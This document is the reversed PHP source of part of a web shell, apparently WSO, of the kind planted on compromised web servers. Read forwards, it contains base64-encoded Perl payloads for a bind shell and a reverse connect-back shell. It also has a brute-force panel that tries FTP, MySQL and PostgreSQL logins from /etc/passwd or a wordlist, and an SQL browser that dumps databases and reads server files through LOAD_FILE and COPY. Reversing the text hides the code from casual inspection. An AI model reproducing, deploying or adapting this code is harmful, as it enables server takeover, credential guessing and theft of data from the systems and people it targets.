ohce\t\r\n;\"=0nCN0XCK0wOwACdphXZJkgCNsjTO90QgU2cvx2YJkgCNsjIuxFTMVESTRCIlRXdjVGelBCduF2QiAiTO90QgQnbpJHcgUWakBCf8BCTMVESTRCIjVGellQCK0wOi4kTPNkJ+ICLSJVRER1Ug4WZw9WCJoQD7IiTO90Qm4jIsQVVPREVTBiblB3bJkgCNsjIO50TDZCPiwiTJREVTBiblB3bJkgCNsTKklGckACZl5WamVGZhgCImlGIismcvZGI09mbuF2QiASZpRWCJoQD7BSKpsmcvZWPklGckgSIoYWaJoQD7kyUs4kTPNEK0BXZjNWYJoQD7BSKxgSZslGa3pQD7IibcRncvBHIuVGdzlGbgQnbhNkIgUWakBCf8BSKzwyUo4WZ0NXaspQD7IibcRncvBHIuVGcvBCduF2QiASZpRGI8xHIpkSWOF0XSRERB5USs0FMbZ1RSFEJo4WafJHZkF2aj92csMFKk5WaipQD7kSMsIFREFURTVVRS91TTxCVFt0QPN1XM90UsMFK0B3brN2bzRXZzpQD7IibcRXZrN2bzBSZ0FWZyNGI05WYDJCIllGZgwHfgkSKnA3Y0dCKl1WYulnYvR3byBHdldGLNFURSR1Uft0QPNlJsQVROl0XGBlJsMFK0V2aj92cK0wO0V2aj92UgU2c1pQD9ByOpEDK0lGelByegkSMgwDIWdkUBBEKgYWaK0wOikWLgg2cv4Wai9iI9wETFh0UkoQDsJXZw9ibpJ2LyNXdvEyI\"=p_trop_dnib\$\t\r\n;\"7kiUSVERUNFKlN3bsNmCNsTKUV1TER1UoU2cvx2YK0wOp4USER1UoU2cvx2YK0wOpcSatACaz9ibpJ2LngSblR3c5NnCNsTKiQVRLN0TTZiPiACLSJVRER1Uo4WZw9mCNsTKiQVRLN0TTZiPiACLUV1TER1Uo4WZw9mCNsTKiQVRLN0TTZiPiACLOlERUNFKuVGcvpQD7kiIuxVIkAiOy9mcyVkIoUWakBCf8BSKyRGZhBHJgwCVFt0QPNFK0NWZu52bjpQD7kiIuxVIkAiOy9mcyVkIoUWakBCf8BSKvR3byBHJgwSTBVkUUN1XLN0TTBCLUVkTJ9lRQBCLUV0SD90UoQXZrN2bzpQD7kyJwNGdngSZtFmb5J2b09mcwRXZn1zb09mcwRiCNsTKi4GXhQCI6I3byJXRigSZpRGI8xHIpIHZkFWakACLdFzWWdkUBRCKul2XyRGZht2YvNXPyRGZhBHJK0wOpIibcFCJgojcvJncFJCKllGZgwHfgkSXwslVHJVQkgibvRXYfRXZulWPyRGZhlGJK0wO0V2aj92UgU2c1pQDsJXZw9ibpJ2LyNXdvEyI\"=p_tcennoc_kcab\$\t\r\n;)(redaeHosw\t\r\n{ )(krowteNnoitca noitcnuf\r\n}\r\n;)(retooFosw\t\r\n;'>vid/<' ohce\t\r\n} \r\n;))(rorre>-bd\$(srahclaicepslmth ohce \r\n{ esle }\t\r\n}\t\t\t\r\n;'>erp/<'.)]'elif'[elif\$(srahclaicepslmth.'>1lm=ssalc erp<>/rb<' ohce\t\t\t\t\r\n;)]'2p'[TSOP_\$(eliFdaol>-bd\$ = elif\$\t\t\t\t\r\n{ )'elifdaol' == ]'1p'[TSOP_\$@(fi\t\t\t\r\n} \r\n;\">mrof/<>'>>'=eulav timbus=epyt tupni<>f=eman txet=epyt 'pnIsloot'=ssalc tupni< >naps/<elif daoL>naps<>';eslaf nruter;)(timbus.fs.tnemucod;eulav.f.siht=eulav.2p.fs.tnemucod;\"\\elifdaol\"\\=eulav.1p.fs.d'=timbusno mrof<\" ohce \r\n))(hctef>-bd\$(fi \r\n;)\"'y' = `virp_eliF` DNA )(RESU = )`tsoh` ,'@' ,`resu`(tacnoc EREHW resu.lqsym MORF 1 TCELES\"(yreuq>-bd\$ \r\n{ )'lqsym'==]'epyt'[TSOP_\$(fi \r\n;\">/rb<>mrof/<>elbat/<\" ohce\t\t\t\r\n}\t\t\t\r\n;\">rt/<>dt/<\" ohce\t\t\t\t\r\n;\">'etucexE'=eulav timbus=epyt tupni<>/rb<>aeratxet/<\" ohce \r\n;)]'2p'[TSOP_\$(srahclaicepslmth ohce \r\n))'elifdaol' =! ]'1p'[TSOP_\$( && )]'2p'[TSOP_\$(ytpme!(fi \r\n;\">'xp001:thgieh;%001:htdiw'=elyts 'yreuq'=eman aeratxet<>';eslaf nruter;)(timbus.fs.tnemucod;eulav.yreuq.siht=eulav.2p.fs.d;\"\\yreuq\"\\=eulav.1p.fs.d'=timbusno mrof<>mrof/<>rb<\" ohce\t\t\t\t\r\n}\t\t\t\t\r\n}\t\t\t\t\t\r\n;'>vid/<'.))(rorre>-bd\$(srahclaicepslmth.' >b/<:rorrE>b<>vid<' ohce\t\t\t\t\t\t\r\n{ esle }\t\t\t\t\t\r\n;'>elbat/<' ohce\t\t\t\t\t\t\r\n}\t\t\t\t\t\t\r\n;'>rt/<' ohce\t\t\t\t\t\t\t\r\n}\t\t\t\t\t\t\t\r\n;'>dt/<'.))eulav\$(srahclaicepslmth(rb2ln.'>dt<' ohce\t\t\t\t\t\t\t\t\t\r\nesle\t\t\t\t\t\t\t\t\r\n;'>dt/<>i/<llun>i<>dt<' ohce\t\t\t\t\t\t\t\t\t\r\n)llun == eulav\$(fi\t\t\t\t\t\t\t\t\r\n{ )eulav\$ >= yek\$ sa meti\$(hcaerof\t\t\t\t\t\t\t\r\n;1:2?1==enil\$ = enil\$\t\t\t\t\t\t\t\r\n;'>\"'.enil\$.'l\"=ssalc rt<' ohce\t\t\t\t\t\t\t\r\n}\t\t\t\t\t\t\t\r\n;2 = enil\$\t\t\t\t\t\t\t\t\r\n;'>rt<>rt/<' ohce\t\t\t\t\t\t\t\t\r\n;eurt=eltit\$\t\t\t\t\t\t\t\t\r\n;)meti\$(teser\t\t\t\t\t\t\t\t\r\n;'>ht/<'.yek\$.'>ht<' ohce\t\t\t\t\t\t\t\t\t\r\n)eulav\$ >= yek\$ sa meti\$(hcaerof\t\t\t\t\t\t\t\t\r\n;'>rt<' ohce\t\t\t\t\t\t\t\t\r\n{\t)eltit\$!(fi\t\t\t\t\t\t\t\r\n{\t))(hctef>-bd\$ = meti\$(elihw\t\t\t\t\t\t\r\n;1 = enil\$\t\t\t\t\t\t\r\n;'>\"929292#:roloc-dnuorgkcab\"=elyts niam=ssalc 2=gniddapllec 1=gnicapsllec %001=htdiw elbat<' ohce\t\t\t\t\t\t\r\n;eslaf = eltit\$\t\t\t\t\t\t\r\n{ )eslaf ==! ser>-bd\$(fi\t\t\t\t\t\r\n;)]'2p'[TSOP_\$@(yreuq>-bd\$\t\t\t\t\t\r\n{ ))]'2p'[TSOP_\$(ytpme! && )'yreuq' == ]'1p'[TSOP_\$@((fi\t\t\t\t\r\n}\t\t\t\t\r\n;\">rb<>rb<\" ohce\t\t\t\t\t\r\n;'03,'.)03*]'3p'[TSOP_\$(.' TIMIL `'.]'2p'[TSOP_\$.'` MORF * TCELES' = ]'2p'[TSOP_\$\t\t\t\t\t\t\r\nesle\t\t\t\t\t\r\n;)03*]'3p'[TSOP_\$(.' TESFFO 03 TIMIL '.]'2p'[TSOP_\$.' MORF * TCELES' = ]'2p'[TSOP_\$\t\t\t\t\t\t\r\n)'lqsgp'==]'epyt'[TSOP_\$(fi\t\t\t\t\t\r\n;--]'3p'[TSOP_\$ \r\n;\">a/<;tg& txeN>')\" . )1+]'3p'[TSOP_\$( . ' ,\"' . ]'2p'[TSOP_\$ . \"\"\\(ts'=kcilcno #=ferh a< \" ohce \r\n)segap\$ < ]'3p'[TSOP_\$(fi \r\n;\">a/<verP ;tl&>')\" . )1-]'3p'[TSOP_\$( . ' ,\"' . ]'2p'[TSOP_\$ . \"\"\\(ts'=kcilcno #=ferh a< \" ohce \r\n)1 > ]'3p'[TSOP_\$(fi \r\n;\"segap\$ fo \" ohce \r\n;\">\" . )]'3p'[TSOP_\$)tni(( . \"=eulav '3p'=eman txet=epyt tupni< # egaP )sdrocer }]'n'[mun\${( >naps/<\".]'2p'[TSOP_\$.\">naps<>tpircs/<})eulav.3p.fs.d ,\"\\\" . ]'2p'[TSOP_\$ . \"\"\\(ts{)(noitcnuf=timbusno.fs.d>tpircs<\" ohce \r\n;)03 / ]'n'[mun\$(liec = segap\$\t\t\t\t\t\r\n;)(hctef>-bd\$ = mun\$\t\t\t\t\t\r\n;)]'2p'[TSOP_\$ . ' MORF n sa )*(TNUOC TCELES'(yreuq>-bd\$\t\t\t\t\t\r\n;1:]'3p'[TSOP_\$?]'3p'[TSOP_\$ = ]'3p'[TSOP_\$ \r\n;'yreuq' = ]'1p'[TSOP_\$\t\t\t\t\t\r\n{ )'tceles' == ]'1p'[TSOP_\$@(fi\t\t\t\t\r\n;\">';666# dilos xp2:pot-redrob'=elyts dt<>dt/<>'lqs.pmud'=eulav elif=eman txet=epyt tupni<:htap eliF>rb<>';)(timbus.fs.tnemucod;\"\\daolnwod\"\\=eulav.2p.fs.tnemucod'=kcilcno 'pmuD'=eulav nottub=epyt tupni< >';)(si'=kcilcno 'xobkcehc'=epyt tupni<\" ohce\t\t\t\t\r\n}\t\t\t\t\r\n;\">rb<>rbon/<\" . )\">llams/<)}]'n'[n\${(>llams< \":';psbn&'?)]'tnuoc_lqs'[TSOP_\$(ytpme( . \">a/<\".eulav\$.\">\"\\)1,'\".eulav\$.\"'(ts\"\\=kcilcno #=ferh a<;psbn&>'\".eulav\$.\"'=eulav '][lbt'=eman 'xobkcehc'=epyt tupni<>rbon<\" ohce\t\t\t\t\t\r\n;)eulav\$(srahclaicepslmth = eulav\$\t\t\t\t\t\r\n;))''.eulav\$.' MORF n sa )*(TNUOC TCELES'(yreuq>-bd\$(hctef>-bd\$ = n\$ \r\n))]'tnuoc_lqs'[TSOP_\$(ytpme!(fi \r\n;)meti\$(hcae = )eulav\$ ,yek\$(tsil\t\t\t\t\t\r\n{ ))ser_slbt\$(hctef>-bd\$ = meti\$(elihw\t\t\t\t\r\n;)(selbaTtsil>-bd\$ = ser_slbt\$\t\t\t\t\r\n;\">rb<>rb<>naps/<:selbaT>naps<>';666# dilos xp2:pot-redrob'=elyts 1=htdiw dt<>rt<\" ohce\t\t\t\t\r\n;)]'esab_lqs'[TSOP_\$(bdtceles>-bd\$\t\t\t\t\r\n{))]'esab_lqs'[TSOP_\$(ytpme!(fi\t\t\t\r\n;\">0=gnicapsllec 2=gniddapllec %001=htdiw elbat<>/rb<\" ohce\t\t\r\n{)knil>-bd\$ && )bd\$(tessi(fi\t\r\n;\">tpircs/<\t\t\r\n}\t\t\t\r\n;dekcehc.]i[]'][lbt'[stnemele.fs.d! = dekcehc.]i[]'][lbt'[stnemele.fs.d\t\t\t\t\t\r\n)i++;htgnel.]'][lbt'[stnemele.fs.d<i;0=i(rof\t\t\t\t\r\n{ )(si noitcnuf\t\t\t\r\n}\t\t\t\r\n;)(timbus.fs.d\t\t\t\t\r\n;l = eulav.3p.fs.d )3p.fs.d && l(fi \r\n;t = eulav.2p.fs.d\t\t\t\t\r\n;'tceles' = eulav.1p.fs.d\t\t\t\t\r\n{ )l,t(ts noitcnuf\t\t\t\r\n} \r\n} \r\n;''=eulav.3p.f )3p.f(fi \r\n;''=eulav.2p.f )2p.f(fi \r\n;''=eulav.1p.f )1p.f(fi \r\n;}{ )(noitcnuf = timbusno.f { )bd_s=!eulav.esab_lqs.f(fi \r\n{ )f(sf noitcnuf \r\n;'\".)]'esab_lqs'[TSOP_\$(sehsalsdda@.\"'=bd_s \r\n>tpircs<\t\t\r\n>elbat/<\t\t\r\n>rt/<\t\t\t\r\n>dt/<swor fo rebmun eht tnuoc >\" . )'dekcehc ':''?)]'tnuoc_lqs'[TSOP_\$(ytpme( . \"'no'=eulav tnuoc_lqs=eman xobkcehc=epyt tupni<>dt< \r\n>dt/<>';)fs.d(sf'=kcilcno '>>'=eulav timbus=epyt tupni<>dt<\t\t\t\t\r\n>dt/<\" ohce\t\r\n;pmt\$ ohce\t\t\r\nesle}\t\r\n;pmt\$ ohce esle\t\t\r\n}\t\t\r\n;'>tceles/<' ohce\t\t\t\r\n}\t\t\t\r\n;'>noitpo/<'.eulav\$.'>'.)'':'detceles'?]'esab_lqs'[TSOP_\$==eulav\$(.' \"'.eulav\$.'\"=eulav noitpo<' ohce\t\t\t\t\r\n;)meti\$(hcae = )eulav\$ ,yek\$(tsil\t\t\t\t\r\n{ ))(hctef>-bd\$ = meti\$(elihw\t\t\t\r\n;\">noitpo/<>''=eulav noitpo<>esab_lqs=eman tceles<\" ohce\t\t\t\r\n;)(sbDtsil>-bd\$\t\t\t\r\n}\t\t\t\r\n;kaerb ;)'668pc'(tesrahCtes>-bd\$ :\"668pc\" esac\t\t\t\t\r\n;kaerb ;)'u8iok'(tesrahCtes>-bd\$ :\"U-8IOK\" esac\t\t\t\t\r\n;kaerb ;)'r8iok'(tesrahCtes>-bd\$ :\"R-8IOK\" esac\t\t\t\t\r\n;kaerb ;)'8ftu'(tesrahCtes>-bd\$ :\"8-FTU\" esac\t\t\t\t\r\n;kaerb ;)'1521pc'(tesrahCtes>-bd\$ :\"1521-swodniW\" esac\t\t\t\t\r\n{ )]'tesrahc'[TSOP_\$(hctiws\t\t\t\r\n{ ))]'esab_lqs'[TSOP_\$ ,]'ssap_lqs'[TSOP_\$ ,]'nigol_lqs'[TSOP_\$ ,]'tsoh_lqs'[TSOP_\$(tcennoc>-bd\$(fi\t\t\r\n{))]'tsoh_lqs'[TSOP_\$(tessi(fi\t\r\n;\">''=eulav esab_lqs=eman txet=epyt tupni<\" = pmt\$\t\r\n;\">dt<>dt/<>\"\\\". ))]'ssap_lqs'[TSOP_\$(srahclaicepslmth:''?)]'ssap_lqs'[TSOP_\$(ytpme( .\"\"\\=eulav ssap_lqs=eman txet=epyt tupni<>dt<\r\n>dt/<>\"\\\". ))]'nigol_lqs'[TSOP_\$(srahclaicepslmth:'toor'?)]'nigol_lqs'[TSOP_\$(ytpme( .\"\"\\=eulav nigol_lqs=eman txet=epyt tupni<>dt<\r\n>dt/<>\"\\\". ))]'tsoh_lqs'[TSOP_\$(srahclaicepslmth:'tsohlacol'?)]'tsoh_lqs'[TSOP_\$(ytpme( .\"\"\\=eulav tsoh_lqs=eman txet=epyt tupni<>dt<\r\n>dt/<>tceles/<>noitpo/<lqSergtsoP>\" ohce\r\n;'detceles' ohce)'lqsgp'==]'epyt'[TSOP_\$@(fi\r\n;\" 'lqsgp'=eulav noitpo<>noitpo/<lqSyM>\" ohce\r\n;'detceles' ohce)'lqsym'==]'epyt'[TSOP_\$@(fi \r\n;\" 'lqsym'=eulav noitpo<>'epyt'=eman tceles<>dt<\r\n>'\". )'':]'tesrahc'[TSOP_\$?)]'tesrahc'[TSOP_\$(tessi( .\"'=eulav tesrahc=eman neddih=epyt tupni<>'\". )]'dwc'[SLABOLG\$(srahclaicepslmth .\"'=eulav c=eman neddih=epyt tupni<>''=eulav 2p=eman neddih=epyt tupni<>'yreuq'=eulav 1p=eman neddih=epyt tupni<>lqS=eulav a=eman neddih=epyt tupni<\r\n>rt<>rt/<>dt/<>dt<>dt/<esabataD>dt<>dt/<drowssaP>dt<>dt/<nigoL>dt<>dt/<tsoH>dt<>dt/<epyT>dt<\r\n>rt<>'0'=gnicapsllec '2'=gniddapllec elbat<>';)siht(sf'=timbusno 'tsop'=dohtem 'fs'=eman mrof<\r\n>tnetnoc=ssalc vid<>1h/<resworb lqS>1h<\r\n\" ohce\t\r\n;)(redaeHosw\t\r\n}\t\r\n;)'>tpircs/<)1-(kcab.yrotsih.wodniw;)\"elif nepo t'\\naC !rorrE\"(trela>tpircs<'(eid \r\nesle } \r\n;)]'2p'[TSOP_\$(tesnu \r\n;)pf\$(esolcf \r\n;)pf\$ ,v\$(pmud>-bd\$ \r\n)v\$ sa ]'lbt'[TSOP_\$(hcaerof \r\n{ ))'w' ,]'elif'[TSOP_\$(nepof@ = pf\$(fiesle } \r\n;tixe \r\n;)v\$(pmud>-bd\$\t\t\t\t\r\n)v\$ sa ]'lbt'[TSOP_\$(hcaerof \r\n;)\"nialp/txet :epyT-tnetnoC\"(redaeh \r\n;)\"lqs.pmud=emanelif ;tnemhcatta :noitisopsiD-tnetnoC\"(redaeh \r\n;)6904 ,\"reldnahzg_bo\"(trats_bo \r\n{ ))]'elif'[TSOP_\$(ytpme(fi \r\n} \r\n;kaerb ;)'668pc'(tesrahCtes>-bd\$ :\"668pc\" esac \r\n;kaerb ;)'u8iok'(tesrahCtes>-bd\$ :\"U-8IOK\" esac \r\n;kaerb ;)'r8iok'(tesrahCtes>-bd\$ :\"R-8IOK\" esac \r\n;kaerb ;)'8ftu'(tesrahCtes>-bd\$ :\"8-FTU\" esac \r\n;kaerb ;)'1521pc'(tesrahCtes>-bd\$ :\"1521-swodniW\" esac \r\n{ )]'tesrahc'[TSOP_\$(hctiws \r\n;)]'esab_lqs'[TSOP_\$(bdtceles>-bd\$\t\t\r\n;)]'esab_lqs'[TSOP_\$ ,]'ssap_lqs'[TSOP_\$ ,]'nigol_lqs'[TSOP_\$ ,]'tsoh_lqs'[TSOP_\$(tcennoc>-bd\$\t\t\r\n{ ))'tceles'=!]'1p'[TSOP_\$@( && )'daolnwod'==]'2p'[TSOP_\$@((fi\t\r\n;)]'epyt'[TSOP_\$(ssalCbD wen = bd\$\t\r\n;}\t\r\n}\t\t\r\n;eslaf nruter\t\t\t\r\n}\t\t\t\r\n;kaerb\t\t\t\t\r\n}\t\t\t\t\t\r\n;)lqs\$(ohce esle ;)lqs\$ ,pf\$(etirwf )pf\$(fi \r\n;\"n\\\".';)'.)meti\$ ,\" ,\"(edolpmi.'( SEULAV )'.)snmuloc\$ ,\" ,\"(edolpmi.'( '.elbat\$.' OTNI TRESNI' = lqs\$ \r\n}\t\t\t\t\t\t\r\n;k\$ = ][snmuloc\$\t\t\t\t\t\t\t\r\n;\"'\".)v\$(sehsalsdda.\"'\" = ]k\$[meti\$\t\t\t\t\t\t\t\r\n{ )v\$>=k\$ sa meti\$(hcaerof\t\t\t\t\t\t\r\n;)(yarra = snmuloc\$\t\t\t\t\t\t\r\n{ ))(hctef>-siht\$ = meti\$(elihw\t\t\t\t\t\r\n;)elbat\$.' MORF * TCELES'(yreuq>-siht\$\t\t\t\t\t\r\n:'lqsgp' esac\t\t\t\t\r\n;kaerb\t\t\t\t\r\n;)\"n\\n\\;\"(ohce esle ;)\"n\\n\\;\" ,pf\$(etirwf )pf\$(fi \r\n)daeh\$!(fi \r\n}\t\t\t\t\t\r\n;++i\$ \r\n;)lqs\$(ohce esle ;)lqs\$ ,pf\$(etirwf )pf\$(fi \r\n;')'.)meti\$ ,\" ,\"(edolpmi.\"(,t\\n\\\" =. lqs\$ \r\nesle } \r\n;eslaf = daeh\$ \r\n;')'.)meti\$ ,\" ,\"(edolpmi.\"(t\\n\\ SEULAV )\".)snmuloc\$ ,\" ,\"(edolpmi.'( `'.elbat\$.'` OTNI TRESNI' =. lqs\$ \r\n{ )daeh\$(fi \r\n}\t\t\t\t\t\t\r\n;\"`\".k\$.\"`\" = ][snmuloc\$\t\t\t\t\t\t\t\r\n;\"'\".)v\$(gnirts_epacse_laer_lqsym@.\"'\" = ]k\$[meti\$ \r\nesle \r\n;v\$ = ]k\$[meti\$ \r\n))v\$(tni_si(fiesle \r\n;\"LLUN\" = ]k\$[meti\$ \r\n)llun === v\$(fi \r\n{ )v\$>=k\$ sa meti\$(hcaerof\t\t\t\t\t\t\r\n;)(yarra = snmuloc\$\t\t\t\t\t\t\r\n\r\n} \r\n;\"n\\n\\;\" = lqs\$ \r\n;eurt = daeh\$ \r\n{ )0 == 0001 % i\$(fi \r\n;'' = lqs\$ \r\n{ ))(hctef>-siht\$ = meti\$(elihw\t\t\t\t\t\r\n;eurt = daeh\$ \r\n;0 = i\$ \r\n;)'`'.elbat\$.'` MORF * TCELES'(yreuq>-siht\$\t\t\t\t\t\r\n;)lqs\$(ohce esle ;)lqs\$ ,pf\$(etirwf )pf\$(fi \r\n;\"n\\;\".]1[etaerc\$ = lqs\$\t\t\t\t\t\r\n;)ser\$(yarra_hctef_lqsym = etaerc\$\t\t\t\t\t\r\n;)'`'.elbat\$.'` ELBAT ETAERC WOHS'(yreuq>-siht\$ = ser\$\t\t\t\t\t\r\n:'lqsym' esac\t\t\t\t\r\n{\t)epyt>-siht\$(hctiws\t\t\t\r\n{ )eslaf = pf\$ ,elbat\$(pmud noitcnuf\t\t\r\n}\t\t\r\n;eslaf nruter\t\t\t\r\n}\t\t\t\r\n;kaerb\t\t\t\t\r\n;))r\$,\"n\\\"(edolpmi>='elif'(yarra nruter\t\t\t\t\t\r\n;)'2osw elbat pord'(yreuq>-siht\$\t\t\t\t\t\r\n;]'elif'[i\$ = ][r\$\t\t\t\t\t\t\r\n))(hctef>-siht\$=i\$(elihw\t\t\t\t\t\r\n;)(yarra=r\$\t\t\t\t\t\r\n;)\";2osw morf elif tceles;'\".)rts\$(sehsalsdda.\"' MORF 2osw YPOC;)txet elif(2osw ELBAT ETAERC\"(yreuq>-siht\$\t\t\t\t\t\r\n:'lqsgp' esac\t\t\t\t\r\n;kaerb\t\t\t\t\r\n;))\"elif sa )'\".)rts\$(sehsalsdda.\"'(ELIF_DAOL TCELES\"(yreuq>-siht\$(hctef>-siht\$ nruter\t\t\t\t\t\r\n:'lqsym' esac\t\t\t\t\r\n{\t)epyt>-siht\$(hctiws\t\t\t\r\n{ )rts\$(eliFdaol noitcnuf\t\t\r\n}\t\t\r\n;eslaf nruter\t\t\t\r\n}\t\t\t\r\n;kaerb\t\t\t\t\t\r\n;)rts\$ ,knil>-siht\$(gnidocne_tneilc_tes_gp@ nruter\t\t\t\t\t\r\n:'lqsgp' esac\t\t\t\t\r\n;kaerb\t\t\t\t\t\r\n;)rts\$.' TESRAHC TES'(yreuq>-siht\$\t\t\t\t\t\t\r\nesle\t\t\t\t\t\r\n;)knil>-siht\$ ,rts\$(tesrahc_tes_lqsym@ nruter\t\t\t\t\t\t\r\n))'tesrahc_tes_lqsym'(stsixe_noitcnuf(fi\t\t\t\t\t\r\n:'lqsym' esac\t\t\t\t\r\n{\t)epyt>-siht\$(hctiws\t\t\t\r\n{ )rts\$(tesrahCtes noitcnuf\t\t\r\n}\t\t\r\n;eslaf nruter\t\t\t\r\n}\t\t\t\r\n;kaerb\t\t\t\t\r\n;)(rorre_tsal_gp@ nruter\t\t\t\t\t\r\n:'lqsgp' esac\t\t\t\t\r\n;kaerb\t\t\t\t\r\n;)(rorre_lqsym@ nruter\t\t\t\t\t\r\n:'lqsym' esac\t\t\t\t\r\n{\t)epyt>-siht\$(hctiws\t\t\t\r\n{ )(rorre noitcnuf\t\t\r\n}\t\t\r\n;eslaf nruter\t\t\t\r\n}\t\t\t\r\n;kaerb\t\t\t\t\r\n;)\"'golatac_gp' =! amehcs_elbat DNA 'amehcs_noitamrofni' =! amehcs_elbat erehw selbat.amehcs_noitamrofni morf eman_elbat tceles\"(yreuq>-siht\$ = ser>-siht\$ nruter\t\t\t\t\t\r\n:'lqsgp' esac\t\t\t\t\r\n;kaerb\t\t\t\t\r\n;)'SELBAT WOHS'(yreuq>-siht\$ = ser>-siht\$ nruter\t\t\t\t\t\r\n:'lqsym' esac\t\t\t\t\r\n{\t)epyt>-siht\$(hctiws\t\t\t\r\n{ )(selbaTtsil noitcnuf\t\t\r\n}\t\t\r\n;eslaf nruter\t\t\t\r\n}\t\t\t\r\n;kaerb\t\t\t\t\r\n;)\"'t'=!etalpmetsitad EREHW esabatad_gp MORF emantad TCELES\"(yreuq>-siht\$ = ser>-siht\$ nruter\t\t\t\t\t\r\n:'lqsgp' esac\t\t\t\t\r\n;kaerb\t\t\t\t\r\n;)\"sesabatad WOHS\"(yreuq>-siht\$ nruter \r\n:'lqsym' esac\t\t\t\t\r\n{\t)epyt>-siht\$(hctiws\t\t\t\r\n{ )(sbDtsil noitcnuf\t\t\r\n}\t\t\r\n;eslaf nruter\t\t\t\r\n}\t\t\t\r\n;kaerb\t\t\t\t\t\r\n;)ser\$(cossa_hctef_gp@ nruter\t\t\t\t\t\r\n:'lqsgp' esac\t\t\t\t\r\n;kaerb\t\t\t\t\t\r\n;)ser\$(cossa_hctef_lqsym@ nruter\t\t\t\t\t\r\n:'lqsym' esac\t\t\t\t\r\n{\t)epyt>-siht\$(hctiws\t\t\t\r\n;ser>-siht\$:)0(gra_teg_cnuf?)(sgra_mun_cnuf = ser\$\t\t\t\r\n{ )(hctef noitcnuf\t\t\r\n}\t\t\r\n;eslaf nruter\t\t\t\r\n}\t\t\t\r\n;kaerb\t\t\t\t\t\r\n;)rts\$,knil>-siht\$(yreuq_gp@ = ser>-siht\$ nruter\t\t\t\t\t\r\n:'lqsgp' esac\t\t\t\t\r\n;kaerb\t\t\t\t\t\r\n;)rts\$(yreuq_lqsym@ = ser>-siht\$ nruter\t\t\t\t\t\r\n:'lqsym' esac\t\t\t\t\r\n{ )epyt>-siht\$(hctiws\t\t\t\r\n{ )rts\$(yreuq noitcnuf\t\t\r\n}\t\t\r\n;eslaf nruter\t\t\t\r\n}\t\t\t\r\n;kaerb\t\t\t\t\t\r\n;eurt nruter))bd\$(bd_tceles_lqsym@( fi\t\t\t\t\t\r\n:'lqsym' esac\t\t\t\t\r\n{\t)epyt>-siht\$(hctiws\t\t\t\r\n{ )bd\$(bdtceles noitcnuf\t\t\r\n}\t\t\r\n;eslaf nruter\t\t\t\r\n}\t\t\t\r\n;kaerb\t\t\t\t\t\r\n;eurt nruter ) )\"emanbd\$=emanbd ssap\$=drowssap resu\$=resu }]1[tsoh\${=trop }]0[tsoh\${=tsoh\"(tcennoc_gp@ = knil>-siht\$ (fi\t\t\t\t\t\r\n;2345=]1[tsoh\$ )]1[tsoh\$!(fi\t\t\t\t\t\r\n;)tsoh\$ ,':'(edolpxe = tsoh\$\t\t\t\t\t\r\n:'lqsgp' esac\t\t\t\t\r\n;kaerb\t\t\t\t\t\r\n;eurt nruter ) )eurt,ssap\$,resu\$,tsoh\$(tcennoc_lqsym@ = knil>-siht\$ (fi\t\t\t\t\t\r\n:'lqsym' esac\t\t\t\t\r\n{\t)epyt>-siht\$(hctiws\t\t\t\r\n{)emanbd\$ ,ssap\$ ,resu\$ ,tsoh\$(tcennoc noitcnuf\t\t\r\n}\t\t\r\n;epyt\$ = epyt>-siht\$\t\t\t\r\n{\t)epyt\$(ssalCbD noitcnuf\t\t\r\n;ser\$ rav\t\t\r\n;knil\$ rav\t\t\r\n;epyt\$ rav\t\t\r\n{ ssalCbD ssalc\t\r\n{ )(lqSnoitca noitcnuf\r\n\r\n}\r\n;)(retooFosw\t\r\n;'>rb<>vid/<' ohce\t\r\n;'>elbat/<>mrof/<>rt/<>dt/<>\">>\"=eulav timbus=epyt tupni<>dt<>dt/<>dt<>rt<>rt/<>dt/<'.\t\t\r\n'>elbat/<>rt/<>dt/<>\"cid.dwssap'.)]'dwc'[SLABOLG\$(srahclaicepslmth.'\"=eulav tcid=eman txet=epyt tupni<>dt<'.\t\t\r\n'>dt/<>naps/<yranoitciD>naps<>dt<>rt<'.\t\t\r\n'>rt/<>dt/<>\"toor\"=eulav nigol=eman txet=epyt tupni<>dt<'.\t\t\r\n'>dt/<>naps/<nigoL>naps<>dt<>rt<>\"xp51:tfel-gniddap\"=elyts elbat<>dt<>dt/<>dt<>rt<'.\t\t\r\n'>rt/<>dt/<>lebal/<yranoitciD >\"2\"=eulav epyt=eman oidar=epyt tupni<>lebal<>dt<>dt/<>dt<>rt<'.\t\t\r\n'>rt/<>dt/<>lebal/<)login >- nigol( esrever >dekcehc 1=eulav esrever=eman xobkcehc=epyt tupni<>\"xp51:tfel-gniddap\"=elyts lebal<>dt<>dt/<>dt<>rt<'.\t\t\r\n'>rt/<>dt/<>lebal/<dwssap/cte/ >dekcehc \"1\"=eulav epyt=eman oidar=epyt tupni<>lebal<>dt<'.\t\t\r\n'>dt/<>naps/<epyt eturB>naps<>dt<>rt<'.\t\t\r\n'>rt/<>dt/<>\"1.0.0.721\"=eulav revres=eman txet=epyt tupni<>dt<'.\t\t\r\n'>dt/<>naps/<trop:revreS>naps<'.\t\t\r\n'>\"'.)]'tesrahc'[TSOP_\$(srahclaicepslmth.'\"=eulav tesrahc=eman neddih=epyt tupni<'.\t\t\r\n'>\"'.)]'a'[TSOP_\$(srahclaicepslmth.'\"=eulav a=eman neddih=epyt tupni<'.\t\t\r\n'>\"'.)]'dwc'[SLABOLG\$(srahclaicepslmth.'\"=eulav c=eman neddih=epyt tupni<'.\t\t\r\n'>dt<>rt<>rt/<>dt/<>tceles/<>noitpo/<lqSergtsoP>lqsgp=eulav noitpo<>noitpo/<lqSyM>lqsym=eulav noitpo<>noitpo/<PTF>ptf=eulav noitpo<>otorp=eman tceles<>dt<'.\t\t\r\n'>dt/<>naps/<epyT>naps<>dt<>rt<>tsop=dohtem mrof<>elbat<>tnetnoc=ssalc vid<>1h/<ecrofeturB>1h<' ohce\t\r\n}\t\r\n;\">rb<>vid/<sseccus\$ >naps/<:sseccuS>naps< stpmetta\$ >naps/<:stpmettA>naps<\" ohce\t\t\r\n}\t\t\r\n}\t\t\t\t\r\n}\t\t\t\t\t\r\n;'>rb<'.)enil\$(srahclaicepslmth.':>b/<'.)]'nigol'[TSOP_\$(srahclaicepslmth.'>b<' ohce\t\t\t\t\t\t\r\n;++sseccus\$\t\t\t\t\t\t\r\n{ ) )enil\$ ,]'nigol'[TSOP_\$ ,]1[revres\$@,]0[revres\$(ecroFeturBosw (fi\t\t\t\t\t\r\n;stpmetta\$++\t\t\t\t\t\r\n;)enil\$(mirt = enil\$\t\t\t\t\t\r\n{ )enil\$ sa pmet\$(hcaerof\t\t\t\t\r\n) )pmet\$(yarra_si (fi\t\t\t\r\n;)]'tcid'[TSOP_\$(elif@ = 